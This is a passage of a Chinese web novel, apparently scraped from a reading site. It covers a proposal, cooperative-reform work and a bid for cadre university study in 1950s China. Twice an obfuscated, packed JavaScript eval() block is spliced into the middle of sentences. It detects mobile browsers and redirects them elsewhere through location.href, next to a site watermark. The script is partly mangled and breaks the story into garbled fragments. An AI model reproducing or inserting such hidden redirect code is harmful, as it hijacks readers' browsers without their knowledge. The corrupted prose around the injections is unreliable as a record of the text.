吴峥嵘再次追问:“所以,叶满枝同志接受我的求婚吗?” 叶满枝抿着嘴乐,在他目不转睛地注视下,给出了明确答复:“嗯,我接受了,接受吴峥嵘同志的求婚了!” “那你把这个也一并收下吧,”吴峥嵘被她的快乐感染,笑着将首饰盒推到她面前说,“这是我妈回驻地前留下的,我嫂子和大姐也有一套,这套是给你的。” 首饰盒里是一个金镯子,一条金项链,还有一只镶了祖母绿的金戒指。 款式是几十年前的老款式,其实不太适合年轻姑娘佩戴。 他不想用父母送的东西求婚,这才自己动手做了一个叶满枝会喜欢的八音盒。 叶满枝见过常月娥的嫁妆,首饰盒里有好几个金镏子,在这方面还是见过世面的,但她仍是感叹道:“这也太贵重了吧?阿姨每次出手都好大方啊!” 过年去吴家做客时,吴峥嵘的妈妈虽然态度不热络,但红包包得特别大。 她那天回家后才发现,吴爷爷吴奶奶每人给她五十块的红包,吴小姑和姑父给了五块的,只有吴峥嵘的妈妈,一下子给了一百块! 哪怕其中还有爸爸的一份,这手面也不小了! 亲戚间走礼,即使是给新媳妇的见面礼,像吴小姑那样的才是正常的。 吴峥嵘神色如常道:“她给你就收着吧,要是款式不喜欢,你就把金子融了,重新打喜欢的款式。” “我可是街道干部,你看哪个干部穿金戴银的 ?我觉得这些款式挺好看的我会好好保管的!” 等她回家以后可以偷偷戴上试试。 嘻嘻嘻。 * 在生日当天被人求婚还收到了礼物快乐和惊喜都是翻倍的。 不知是关系转变还是吴峥嵘今天特意打扮过的原因叶满枝望向他的时候总是控制不住地想吧唧他一口。 导致她后来都不怎么敢与他目光接触他俩在外向来注意影响是一对正经人! 好不容易将一顿饭吃完了叶满枝终于有机会正正经经地邀请吴峥嵘同志去她的新居参观做客。 吴峥嵘同志也一本正经地答应了。 两个正经人保持着一米远地距离一前一后走到新城街上的院子。 大门刚被合上叶满枝就搂住他的脖子狠狠啾啾啾了好几口。 吴峥嵘对她小鸡啄米似的亲法不满足拉过她便接了一个很汹涌的吻。 他俩平时一贯克制哪怕是在吴峥嵘家里也从不会过火。 今天的吻却用力而深入叶满枝双腿发软地攀在他身上胸口随着呼吸一起一伏感觉魂儿都快被人吸走了。 她被吻得失神唇舌分开时喉咙里忍不住发出舒服的喟叹。 然而这声呻吟让两人同时愣了一下。叶满枝瞬间大脑宕机耳根通红她羞耻得想挣脱怀抱赶紧逃走。 吴峥嵘却搂着她笑:“你跑什么?” 余光里瞥见摆在桌子上的八音盒叶满枝急中生智红着脸支吾道:“这八音盒不是你做的吗?我我去把那五毛钱要回来!” 作者有话要说 晚九点还有一更! 一百个红包 第 65 章 调干生 第65章调干生 新城街的新房里,几乎一整个冬天都没生过炉子,叶满枝在屋里待上两刻钟就被冻透了。 吴峥嵘把她裹进自己的军大衣,笑道:“活动一下就不冷了。” 叶满枝的手心还贴在他紧实又温暖的后背上,心说,可不能活动了,再活动她这嘴就没法见人了。 可是她忘了,吴峥嵘是正经人来着。 他俩刚求婚成功,又是孤男寡女共处一室,要是继续黏糊下去,很难不发生点什么。 吴峥嵘所说的活动一下,是真的活动一下。 他把叶满枝的手从自己的衬衫衣摆里挪出来,再用军大衣将人从头到脚包裹住。 而后便穿着毛衣,扛了把铁锹,踩着梯子上房铲雪去了。 “……” 叶满枝套着两件军大衣追出去,劝阻道:“屋顶的雪不用扫,开春以后自然就化了。” 吴峥嵘往房顶上打量几眼,摇摇头说:“积雪太厚容易把屋顶压塌,你这房子有些年头了,需要小心维护。而且有些瓦片有破损迹象,雪化时容易渗水,我先把房顶大致清理一下,开春以后再过来修一修。” 叶满枝愣道:“这么严重啊?” “还行,你进屋呆着去吧。” 叶满枝站在下面观望了一阵,见他动作利落,没几下就清理出来一片干净的屋顶,显然是干过这种活儿的。 她稍稍放了心,与他打声招呼,就去了隔壁许奶奶家。 许奶奶见了她,热情招呼道:“小叶来啦?又过来打扫卫生了?” “对,让我对象帮忙清理一下屋顶。” “刚才那个穿军大衣的小伙子是你对象啊?” “是啊,他是军人,特意利用休息时间帮我干点活。” 许奶奶惊讶地问:“小叶,那你以后就是军属啦?” “哈哈哈,可不是嘛,我俩快结婚了,以后咱们居民小组要是有拥军优抚工作,您可别把我落下了!” “一人参军全家光荣,军属可光荣了!我把你这事儿记下了!” 叶满枝跟许奶奶寒暄了一阵,从她家借了一把铁锹,才重新回到自家院子。 她自己就是做群 众工作的对居委会这些小脚侦缉队 别看这街上的街坊们都关门闭户其实外面的动静他们都门儿清。 许奶奶能说出穿军大衣的小伙子说明早在吴峥嵘穿着毛衣上房之前人家就见到他了。 叶满枝借铁锹是假主要是为了找个由头跟居民小组长介绍吴峥嵘的身份。 否则她带个陌生男人回家还单独在家里逗留大半天不知会被人传成什么样子。 叶满枝的院子不大屋顶自然也没多大面积她回去的时候吴峥嵘已经把积雪扫干净了。 军代室前几天刚搞过拉练好容易遇到一个休息日叶满枝不太想让他干活了。 于是等他消了汗便以挑选礼物为由将他重新带出了门。 叶满枝再次返回寄卖商店在八音盒那五毛钱的基础上又额外多给了一块二为青梅挑了一个地球仪作为生日礼物。 吴峥嵘委婉提醒:“女同志未必会喜欢这种礼物吧……” 反正他是绝不会买地球仪送给她的。 “这你就不懂了我这是投其所好!”叶满枝在地球仪上扒拉了两下让地球快速旋转起来“青梅肯定喜欢这个!” 区文化局有个副局长是女同志。 青梅去局长办公室送过几次材料。 每次跟她提起这个女局长时都会顺便提及局长办公桌上的地球仪。 又大又气派上面还有外国字一看就有文化。 叶满枝给她买的这个地球仪也是有外国字的据售货员介绍是英语。 又大又气派青梅肯定喜欢! * 叶满枝买了地球仪完成了出门逛街的主要任务但她今天最大的收获还是要跟父母主动交代一下的。 老叶听说吴峥嵘跟她求了婚还想打结婚报告立即就炸了庙。 “你俩才谈了多久?那么早结婚干什么?” 叶满枝深以为然地颔首:“我也觉得今天答应得草率了哎我不好意思当着他的面反悔爸你明天上班的时候去跟吴峥嵘说一声吧就说你不同意我太早嫁人。” 叶守信:“……” 这个臭丫头学的那点本事全用来对付她爹了! 常月娥捧着那个八音盒稀罕了一会儿,然后小心地还给闺女,“不用搭理你爸,你回屋歇着去吧,明天还得上班呢!” 等她把闺女哄走了,才压低声音说:“他俩这关系已经这样了,人家峥嵘都求婚了,来芽还能拒绝呀?” 老叶气道:“这个吴峥嵘真是狡诈!你说他怎么有那么多的名堂呢?居然还弄出求婚来了?他一求婚,这婚事不就提上日程了吗?” “他要是真的拖上一年半载不结婚,你又该着急了!来芽不是说了吗,上级批复他的结婚报告还得挺长时间呢!求婚挺好,这期间他俩就是未婚夫妻了,关系比谈对象更进一步。” 叶守信嘟嘟囔囔,中心思想就是不乐意、不满意、不痛快! 常月娥被他念叨得烦了,吓唬道:“等他俩让你提前当了姥爷,你就老实了!” “胡扯,我闺女才不是那样的孩子!” 常月娥腹诽,你闺女都跟人家亲过嘴儿了,你还当她是孩子呢! 今天叶来芽可是红着嘴回来的,肯定又跟人家亲上了。 姑娘家在这方面容易吃亏,赶紧结婚她也就省心了。 亲爹妈觉得闺女吃了亏,但叶满枝本人却觉得自己占了大便宜。 她返回房间,以防被叶梨花搞破坏,把八音盒和首饰盒收进了抽屉里。 而后她翻箱倒柜找出一个相框,将她藏了一路的字条,小心地夹到了玻璃板后面。 与她上报纸的那张相片摆在一起。 八音盒她很喜欢,但她心里其实更喜欢字条上的内容。 再读一遍,仍能找到那种心跳加速、头晕目眩的感觉。 她白天只关注吴峥嵘求婚的内容了,没怎么注意对方送给她的生日祝福。 此时夜深人静,再读那句“愿你每一岁都能勇敢无畏,自成山海”,只觉得越品越有滋味。 能够自成山海,那应该是很厉害的人吧? 叶满枝盯着相框琢磨半天,觉得自己有被鼓舞到。 于是,赶紧趁着有所感悟的时候,拿出原稿纸,给党组织写了份思想汇报,争取比刘金宝那小子更早入党! …… 一场生日加求婚,给叶满枝重新注入了活力,新一周的一大早就跑去区里,询问五金 社那边的动员情况。 黎婷婷想了想说:“社员的反应比较两极分化。我觉得你之前的行动还是有效果的,技术水平比较高的技工,是乐于接受转厂的,毕竟工人阶级确实比小私有者的身份体面,在工资差不多的情况下,当然要当工人。 叶满枝问:“有人强烈反对吗? “有,占股高的人不愿意转厂。黎婷婷蹙眉说,“他们这个合作社挺奇怪,一些技术水平低的工人,占股比例却非常高,还有他们那个社长牛壮志,也算是大股东。要不是市里下达了每年股息分红不得超过一个月工资的文件,牛壮志一个人就能拿到15%左右的分红,按照五金社的盈利状况来算,恐怕能达到上千块了。 叶满枝疑惑道:“他怎么投入了那么多股金啊? “除了入社时的股金,他之后每年都追加股金了。黎婷婷嘟哝道,“弄得跟资本家似的,其他工人成了给他打工赚钱的。 叶满枝赶紧嘘了一声,“这话可不能乱说!小心给牛社长惹麻烦! 黎婷婷自知失言,连忙摆摆手转移话题说:“我觉得开社员大会之前,得先给那几个大股东做思想工作,尤其是社长牛壮志,否则有他们在其中掺和,其他社员也会跟着左右摇摆不定。 思想工作默认是由叶满枝负责的。 叶满枝觉得那些社员的思想工作,可以由她出面,但社长牛壮志那边,她没什么把握。 牛壮志跟老叶的年纪差不多,为人很精明,合作社转厂是怎么回事,他心里肯定比谁都清楚。 那些大道理由她这个年轻人讲出来,不但没什么效果,还会贻笑大方。 她想请穆主任出面帮帮忙。 在做思想工作这方面,穆主任有经验,而且年纪也合适。 但这毕竟是改革办的工作,她思量再三后,还是决定跟冯大成商量商量,请他跟牛壮志谈谈。 她是这么跟冯大成说的。 “冯科长,我以前真不觉得年轻是什么缺点,可是这次遇到牛社长,算是遇上对手了。人家年纪在那摆着,我哪有脸去说教人家呀!这事儿还得你帮着参谋参谋。 冯大成笑道:“你去动员技工的时候,不是干得挺好嘛,牛壮志有什么可怕的,无非是年纪大一点, 你们年轻人啊就是脸皮薄。这样吧,我把老牛请出来喝顿酒,我们在酒桌上聊聊。 “冯科长,我能跟着去学习学习不?叶满枝问。 她其实还挺想见识一下,冯大成会如何给牛社长做思想工作的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13498269|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “行啊,小叶能喝酒吗? 能喝四两高粱酒的叶满枝谦虚道:“不太会喝,我旁听就行。 她觉得这次观摩学习的机会很难得,所以问过黎婷婷后,把她也喊上了。 冯大成把牛社长请去了五金社附近的国营饭店。 一见面就提起了牛社长最关心的问题。 “你这个老牛啊,真是个牛脾气。你是合作社的社长,以后肯定要是新厂的厂长,在转厂这么关键的时候,怎么能掉链子呢? 牛壮志悻悻地问:“合作社都要转成地方国营的了,还能留我当厂长吗?我听说市里要另外派人来接手。 说更新,记住域名qiexs?(请来企鹅小 说 看最新章节 完整章节) “你呀你,怎么在这种事上犯糊涂!市里主导合作社转厂是第一次,但社会主义改造不是第一次吧?去年搞公私合营是怎么搞的,你应该看到了呀!合营以后,公方和私方各派代表管理企业!市里搞改革,给社员退股以后还需要工厂能平稳过渡,继续搞生产,不会在管理层方面大动干戈。 见他拧眉沉思,冯大成降低音量说:“老牛,我可得提醒你,你在合作社的占股比例已经很高了,虽说有后期追加的股金,但为什么只有你们几个追加了?其他社员知道这个情况吗?要我说,你们不如趁着这个机会支持转厂,以前那些事也就没人追究了…… 叶满枝瞪着眼睛望向神态自若的冯大成。 这话说得客气,看似提醒,其实是威胁吧? 牛壮志占股那么高,确实禁不住查。 而且五金社明明技术力量很强,他这两年却一直要求社里生产锁具,单纯地追逐经济利益。 他要是没有那么高的股份,还能说他一心为公。 但现在这种情况还真不好说。 牛壮志干了杯白酒诉苦道:“我也不想占股那么高,关键是当时社里要发展,缺少资金。购入五尺龙门铇车、八尺车床,哪个不要钱?银行贷不出款子来,那就只能有我们追加股金了。 叶满枝插话说:“牛社长,你当初可 能确实是有苦衷的,但是社里主要生产门锁,用不上五尺龙门铇车和八尺车床。此一时彼一时了,你还得防着别人说你打着买设备的幌子扩股呢!” 牛壮志:“……” 冯大成点到即止,转而谈起转厂的好处来,什么国家能对资源统一调配啦,什么他以后就是国营大厂的厂长啦,什么工人能参加技术培训,提高技术水平啦。 反正讲得天花乱坠,与牛社长哥俩好似的干了好几杯。 叶满枝和黎婷婷全程都没喝酒。 等三人离开国营饭店时,黎婷婷问:“冯科长,那社长扩股的事,咱们真的就不追究了?” “追究啥?咱们是改革办的,最终的目的是要完成合作社转厂工作,他有多少股份跟咱有啥关系,那是别的部门需要操心的!咱们把自己的工作做好,不要多管闲事!” 叶满枝觉得冯大成所说的不要多管闲事,与“特优同志”那个少管闲事,其实有点异曲同工之妙。 看来这闲事确实管不得。 三人又去光明街上的其他合作社了解了一下情况,回区里的路上,叶满枝心里有点关于转厂的想法,想跟梁主任交流一下。 这几天调研下来,她觉得合作社的规模和服务对象不同,不应该一刀切搞转厂。 傍晚回到人委的时候,正是晚饭时间,她去食堂找梁主任一起吃晚饭,顺便交流一下改革思路。 然而今天梁主任的身边却特别热闹,只给她留了个边边的位置,几乎没有她插话的余地。 几个年轻人似乎都是区人委办公室的工作人员。 “主任,咱们这么大的部门只给两个调干生名额,是不是不太合理啊?” “对啊,主任,您跟领导们提一提呗,应该给规模比较大的单位和部门增加几个入学名额吧?” “咱们部门只有两个,像街道办和工商所那种小单位也是两个,这不合理吧?他们本身规模小,有一个就不错了。” 听到街道办几个字,叶满枝立即竖起耳朵,向身边的姑娘打听。 “你们争什么呢?调干生跟街道和工商所有什么关系啊?” “怎么没关系?区里选拔调干生免试上大学,街道和工商所那么小的单位,居然也要占用两个名额!你觉得合理吗?” 叶满枝:“……” 挺合理呀! 作者有话要说 一百个红包,明天见~ 第 66 章 叶来芽:推荐名额... 第66章叶来芽:推荐名额 叶满枝悄咪咪地在食堂里旁听了好半晌,终于弄清了调干生的情况。 所谓的调干生,就是被组织调派去高校学习的干部。 当然,调干生不止包括在职干部,还有工农速成中学的毕业生、复员转业军人,以及中小学教师。 而今年教育部提供的这批免试名额,是针对在职干部的。 免试名额层层下拨,从省里下到市里,再从市里下到区县,轮到街道和乡镇的时候,据说每个单位可以有两人报名。 即便如此,区里这些年轻干部们也不满意,非要把基层单位的名额调整成一个。 叶满枝自顾自埋头吃饭,没去为基层单位争辩什么。 这些人都是伏天的蝈蝈,叫得欢,但说话不管用。 否则也不会围着梁主任闹腾了。 她听着几人的讨论,而后将他们所说的选拔条件,与自己的条件一一对应。 参加选拔的干部要历史清楚——她历史挺清楚的,否则无法跟军代表同志相亲。 还要政治上要求进步——她已经提交了入党申请书,正在以每周两篇的频率,与刘金宝你争我夺,积极提交思想汇报。 身体健康——她身体倍儿棒啊,徐映雪那个病西施用她的体检报告,都成功混过体检环节了。 高中文化程度,30岁以下的在职干部,婚育不限。 她每一条都完全符合呀! 这免试推荐名额不就是为她准备的吗? 梁秋燕被办公室的几个年轻人闹得耳朵嗡嗡的,挥手说:“这是领导定下的选拔标准,哪是随随便便更改的?你们还是安心工作吧,推荐名额只是推荐,所有被推荐的人选汇总到区里以后,还得统一选拔……” “主任,这推荐名额就是一张入场券,好歹让我们先入场吧?” “行了行了,这事我说得不算,你们找王主任商量去。”梁秋燕往叶满枝的方向指了指,“这还有同志要找我谈工作呢,你们别来捣乱。” 见状,已经用完餐的年轻人们只好收拾饭盒,不情不愿地离开了。 “小叶,你这会儿回来是不是工作有新进展了?” “…… 叶满枝还想再听听调干生的话题呢,合作社的工作不着急,其实可以往后放一放的。 但是领导主动问了,她只好将飘远的思绪拉回来。 “梁主任,第3五金社那边还在搞动员,我们今天刚跟社长牛壮志单独谈过,具体情况要等开过社员大会以后再看。我主要是想跟您聊聊其他合作社的问题。 梁秋燕颔首说:“既然有想法了,那就说说吧。 “其他街道的情况我还不清楚,但是从光明街上的几家合作社的情况来看,我觉得部分社员对转成地方国营工厂,抵触情绪还是比较大的。一方面大家舍不得每年的劳动分红,另一方面,有些同志习惯了合作社的工作方式,不想改变。 这些情况梁秋燕都是有数的,她嗯了一声没表态。 “除了将合作社转成国营工厂,我寻思咱们是不是可以根据不同合作社的情况,提供多种改革方案? “这些合作社都是加入了专业联社的,像光明街上的星火铁器、第3五金社都是五金专业联社的成员,不但在联社中有股金,每年还要交一笔管理费,社员们对联社很有归属感。 “梁主任,如果遇到那种抵触情绪特别大的合作社,咱们能不能折中一下,把合作社转成联社的合作厂?其实联社能够调配的资源也很多,如果合作社变成联社的下属工厂,那么在联社内部也可以充分调配设备、资金、人员。 梁秋燕笑道:“之前也有同志提过这个办法,不过咱们改革试点还是尽量动员大家转国营工厂,实在劝不动的再另想办法。你接着往下说…… “另外,我觉得有些带有服务性质的合作社,应该结合基层的实际情况,让它继续以合作社的形式存在。比如我们街上的第二维修社,既能修鞋,又能修车,还能修手表收音机什么的,这个维修社给街道居民的生活提供了很大便利。如果把维修社转厂了,让那些师傅全去搞生产,那居民们需要修理日常用品时,要去哪里维修? 梁秋燕:“这个想法好!咱们之前只将目光聚焦到大社身上,对小维修社的问题没有关注。你这个结合基层实际情况的想法很好,咱们搞改革工作终究是要为人民服务的,如果越改越让群众有意见,那还不如不改! 她掏出钢笔在随身的工作簿上记了几笔然后指着其中一行给叶满枝看。 “我今天也发现一个问题有些合作社是生产民俗手工艺品的订单产量基本固定没必要扩大规模也不用提升技术力量。这种手工业社完全没必要浪费精力转厂就应该让它继续以合作社的形式存在。” 叶满枝连忙点头说:“对对对给小合作社转厂太耗费人力物力了我们光明街上有个制鞋社也是这次的动员对象之一。他们的转厂热情特别高社长主动找到我要求转厂但他们合作社总共才7个人还没国营皮鞋厂一个车间的人数多呢我寻思对于这种特别想转成国营厂的小合作社是否可以并入附近的大工厂成为工厂的一个车间呢?” “转成大厂车间这算是一个全新的思路”梁秋燕提起钢笔赞许道“还是你们年轻人脑筋灵活。以后若是还有类似的想法咱们要及时交流!” 叶满枝将最近的工作心得都一一汇报了。 有的被梁主任记到了笔记本上有的则被对方摇头否决了。 自己的想法能被领导采纳让她特别有成就感。 与梁主任在食堂门口道别后叶满枝并没急着回家她给青梅打个电话确定对方还没下班便出门右转去了一趟区文化局。 林青梅正准备去学习班上课夹着两本书等在单位门口见她匆匆跑进院子便迎上去问:“什么事这么着急啊?” “好事!大事!”叶满枝将刚听到的消息透露给她又问“区里各单位都有免试推荐名额你听说了没有?” “没有啊”林青梅嘟哝“八成被人瞒下来了这么好的机会谁不想要啊?很可能会私下操作给关系户。” 叶满枝闻言一愣“不能吧?” “有什么不能的!”林青梅叹气说“我们单位30岁以下的年轻干部有挺多呢而且文化局的干部学历都不低高中学历的一抓一大把。你刚才说的那些选拔条件在我们单位都不算什么门槛最难的一关可能是政审。领导要是在单位里公开报名推荐 叶满枝心说大单位也有大单位的麻烦。 街道办虽然也是关系户扎堆但街道办规模小大家都在一 个办公室里工作基本上没有秘密。 穆主任在这方面还是讲求公平的。 “你管那么多干嘛?你就直接询问领导选拔调干生的具体条件。哪怕他真有私下操作的想法也不敢公然说没有调干生这码事。这是区里各单位都有的名额领导不可能给人留下话柄。再说你们单位那么多领导呢找个你能说得上话的领导还不容易?你那些交谊舞都白跳啦?” 林青梅被她说动了心思“要不我去试试?” “当然要试试啦!”叶满枝直言不讳道“大学多难考啊咱们学校去年才考上两个!你去找领导说几句话 至于在最终选拔环节可能出现的竞争叶满枝觉得没什么所谓。 每个单位的推荐名额是固定的不是青梅也会有其他人她的竞争者海了去了与其把机会留给别人还不如给青梅呢。 叶满枝将消息带给青梅就让她回单位上课去了。她自己则匆匆乘车赶回大院跟吴峥嵘宣布她可能要上大学的好消息。 吴峥嵘正在用砂纸打磨木床的边角闻言不禁无语道:“你还没报名呢就知道自己能上大学了?你确定你们单位能推荐你?” “确定啊!虽然调干生的消息还停留在区里街道办这边暂时没什么动静但是以我目前掌握的情报来看符合三十岁以下高中学历条件的干部只有我和庄婷。刘金宝是初中学历赵二贺是高小其他人年龄不符合。” 如果街道办能拿到两个推荐名额那就是她和庄婷的。 她俩甚至都不用竞争。 叶来芽要是有机会去上大学吴峥嵘当然是全力支持的他放下砂纸拍了拍手上的木屑说:“你说说具体的报名条件咱们一起参详参详。” 叶满枝正在兴头上说上十遍八遍也不嫌烦于是又仔仔细细跟他讲了一遍。 吴峥嵘与林青梅的想法差不多觉得这些条件都不算什么门槛他沉吟一阵说:“免试调干生一般都是定向培养的学校和专业是固定的知道会推荐你们去哪个学校学什么专业吗?” 如果从事过与专业相关的工作在最终选拔时会更有优势。 “不知道啊我 还没来得及问呢。” 吴峥嵘又问:“对干部的工作年限有什么要求?” “据说是一年但区里那些小干部说工作年限可以灵活变通工作成绩突出的能放宽要求。我跟庄婷的工龄都不满一年如果不推荐我俩那街道办就没有其他人选了……” 叶满枝很想好好跟他说话但她的目光总是不自觉往那张半成品大床上飘移。 之前这些木头板被堆在院子里没有组装成型她还没觉出吴峥嵘打木床有什么不对。 可是这两天吴峥嵘把木床组装起来摆到房间里了宽度目测比她现在睡的那张火炕还宽三分之一。 她的火炕是老叶特意给女儿们砌的大姐二姐回娘家留宿的时候可以跟她睡在一张炕上。 两个人睡在上面绰绰有余。 然而吴峥嵘打的这张床 见她说着话的功夫脸蛋就变红了吴峥嵘以为是屋子里太热的缘故起身去压煤炉里的火结果发现炉子里的蜂窝煤早就熄灭了。 他用手背在她额头上贴了贴问:“这屋里不热吧你脸上怎么这么红?有哪里不舒服吗?” 叶满枝挥开他的手说:“可能是下午在外面冻着了我喝点热水就好了。” 吴峥嵘没有任何怀疑起身给她倒热水去了。 “……” 见他屋里屋外地忙碌叶满枝心里有点高兴还有点尴尬她掩饰性地拿起桌上的书翻了翻。 看封面介绍似乎是一本苏联小说。 吴峥嵘看书口味挺杂书架上有不少外国小说她早就知道。 “这本《日戈瓦医生》好看吗?” “还行。” 吴峥嵘说还行的基本都能看完叶满枝随手翻到他书签夹住的那一页。 【我同你就像最初的两个人亚当和夏娃在世界创建的时候没有任何可遮掩的我们现在在它的末日同样一丝 不挂无家可归。】 叶满枝:“……” 这啥玩意? “你看的都是什么书啊?”叶满枝接过茶缸将小说递给他“高级知识分子怎么还看这种书呢?” 吴峥嵘往她快要熟透的侧脸上瞄 了一眼,反问:“那高级知识分子应该看哪种书? 叶满枝也说不清高知应该看什么书,反正不是这种。 “其实这书里没什么特别内容,这句话要联系上下文理解。吴峥嵘解释到一半,又放弃似的说,“算了,我要是不从这些书里汲取点灵感,怎么跟你求婚? 叶满枝忍不住笑道:“我以前对‘博览群书’这个词的认识还是太狭隘了。 吴峥嵘并不觉得自己看点杂书有什么不对,只当这是她的夸奖,面不改色地转移了话题。 “还是接着说你那个调干生的名额吧。街道办的推荐只是第一步,关键还是区里的选拔。你工作年限不满一年,要有被刷掉的心理准备。 闻言,叶满枝果然收回了心思。 “不是说工作成绩突出,可以放宽要求吗?去年就有好几个工龄不满一年的,被推荐上大学了。 吴峥嵘实话实说:“这种情况通常只有两种可能,第一种是帮关系户放宽的要求,第二种是确实有工作成绩特别突出的干部,被破格录取。 这样的选拔条件,有条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13498270|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件跟没条件差不多,可操作空间太大了。 小叶干部在工作上向来自信又积极,吴峥嵘不想打击她的积极性,于是又鼓励道:“你参加工作以来取得了不少成绩,报名时间不是截止到下个月吗,你近期丰富一下自己的履历,未必不能成功。 甭管能否被选上,让她努力工作,总是没错的。 叶满枝也觉得自己还是有希望被选中的,但这事确实得好好合计合计。 最起码要写一份花团锦簇的履历表。 她在写工作总结这方面,还是有些心得的,很会含蓄地自夸,街道办里数她最会写了! * 叶满枝觉得若想增厚自己的履历,还是得从最近的几项工作上下手。 合作社转厂的工作,是试点工作,要等好几个月才能出成绩,而她最晚下个月就要参与调干生的选拔。 改革办的工作指望不上,就只能将目光放回街道办。 所以,她第二天就回街道办,把自己负责的工作全都捋了一遍。 她先去家庭手工服务社关心了一下最近家庭手工业的营收情况,之后又去煤炉厂看了看工人们的生产, 最后跑去成人扫盲班了解了第三期扫盲班的结业情况。 她把这些都一一记了下来,打算好好修饰一下,写进自己的工作成绩里。 不过,只有这些显见是不够的。 叶满枝琢磨了几天,暂时找不到什么突破口,只能先把这件事放下。 …… 周六早上出门上班时,她刚走出楼道口,便听到隔壁楼下的争执声。 “我们都说过多少次了,不要往我们的窗下倒煤渣,你们为什么不听?这都偷偷摸摸干了多少回了?这次总算让我抓住了吧?” “这里就是后勤安排的倾倒煤渣的区域!”被抓着袖子的年轻人说,“你们有什么不满,就找后勤说去!” “我呸!”秦奶奶啐道,“后勤画出的区域距离我家窗口十多米呢!人家让你往那圈儿里倒,谁让你倒在我家窗户底下了?” “你看那圈儿里哪有地方了?不往这倒往哪倒?又不是只有我们家这么干的!还是那句话,你找后勤说去!” 叶满枝站在人群外面看了一会儿热闹,然后低声问身边的人,“刘叔,咱院里的煤渣已经堆积一个冬天了吧?今年怎么还没清理啊?” 此时家家户户都烧煤,这大院里有上千户居民,一个冬天烧下来,院儿里到处都是堆积煤渣的小山包。 特别影响环境卫生。 “往年都是往坟场那边堆积,现在坟场那块地被厂里拿去扩建了,哪还有地方处理煤渣?”刘叔摇头说,“前几天居委会派人去协商了。后勤说,开春雪化的时候,煤炉渣留着有用,可以撒到地上防滑。这么多煤渣,估计后勤也犯愁呢,扯了这种烂借口出来。” 叶满枝大清早就在楼下围观邻居吵架,眼瞅着上班快要迟到了,她挤进人群里问:“郭旭,秦奶奶,要是街道出面帮你们处理这些煤渣,你们愿意出点力不?” “出什么力啊?” “就是帮忙把这些煤炉渣装车运走呗,还能出什么力?” 秦奶奶说:“要是真能把这些煤炉渣运走,我家三个儿子都能出力!” “那行,您组织组织人手,我代表咱们居委会,去跟街道和厂后勤交涉一下。这么多煤渣堆在楼下,确实影响大家出行,挨着炉渣堆的住户更是不方便。” 秦奶奶拉着她问:“小叶,这活儿你真能揽过去啊?煤炉渣清理可是个大工程!” 叶满枝叹道:“哎,谁让我也是咱大院儿居民呢,院里的环境要靠大家一起维护。不过,大家都知道,街道只有那几个工作人员,我帮助牵线可以,这干活的事可就得靠咱院儿里的街坊们了。” “只要有人能把这些煤炉渣弄走,咱们出些力气算什么,我一会儿再去动员几户人家!” 这年头的人,不舍得花钱,但舍得出力,力气有的是! “那您去召集人手吧,我回单位跟领导说一声。” 叶满枝在上班的路上还劝了一回架,将两拨人疏散后,就扭扭哒哒地去了656厂的后勤科。 后勤科长也算是叶满枝拐弯抹角的熟人。 当初军代室和保卫科一起抓聚众赌博,后勤科长的儿子和她四哥全被抓进去了。 他俩一起去保卫科捞过人。 “邵科长,您咋还有工夫在办公室里喝茶呢?”叶满枝进了后勤科就笑眯眯地说,“因为那些堆积的煤炉渣,咱们院儿里一大早就有人打起来了!” 邵科长放下茶杯,哼哼哈哈地说:“那煤炉渣咱们后勤还另有用处,暂时还不能处理。” “有用啊,那算了,”叶满枝一脸可惜地说,“我还想帮煤炉渣联系个好去处呢!” 邵科长知道街道办的路子挺广,不由问:“哪里愿意接受这批煤炉渣?” “如果我能帮您为这些煤炉渣找到去处,咱们厂里能出车负责运输吗?” “那必须负责啊。” “不收钱吧?”叶满枝再次确认。 “啧,自己厂里的事,咱当然不能收钱。” “那我要是能用这批煤炉渣换点东西呢?厂里分不分?” “那得看是什么东西。” 叶满枝唉声叹气道:“邵科长,当初您儿子和我四哥都去为小学挖过沙子,搬过砖,这事您还有印象吧?” 邵科长嘴角抽了抽,这可真是哪壶不开提哪壶。 “嗯。” “咱们那个小学的建校工作,搁置了一冬天,开春以后就要动工了,但水泥和砖头还没有着落呢。” 邵科长:“你又想让他们去搬砖啊?” “哈哈,不是,我有个门路能用煤渣换一些水泥。”叶满枝笑道,“小学生的校舍全指望这批水泥呢。邵科长,要不厂里就做一回好事,把院儿里的那些煤渣让给小学校吧?” 作者有话要说 一百个红包,明天见~ 第 67 章 区委组织部来电 第67章区委组织部来电 叶满枝特别佩服那些头脑灵活,又富有创造力的人。 譬如吴峥嵘随手就能做出蜂窝煤炉子。 又譬如余一元胜利综合社的大师傅,找到了用煤渣生产水泥的办法。 与其他合作社不同胜利社之所以被划入第一批转厂名单是因为他们扰乱市场秩序,被半强制转厂了! 市面上的混合水泥,每吨零售价56元胜利社却把价格降到48元偷偷摸摸地往外卖。 工商局找上门时,他们还嘴硬不肯承认,后来公安上门将社长带走后,终于撬开了社长的嘴。 他们确实把价格降低了但他们降价是有原因的。 社员余一元用煤渣代替粘土,生产出了水泥! 由于煤渣几乎不要钱,他们的生产成本大大降低,零售价自然也随之降低了。 叶满枝在改革办听到这个八卦的时候,有点为余师傅惋惜。 市里整天强调增产节约,余一元用煤渣生产水泥,这是多好的宣传素材啊,可惜社长只顾着搞价格战了,不会搞舆论战没有为余师傅好好宣传。 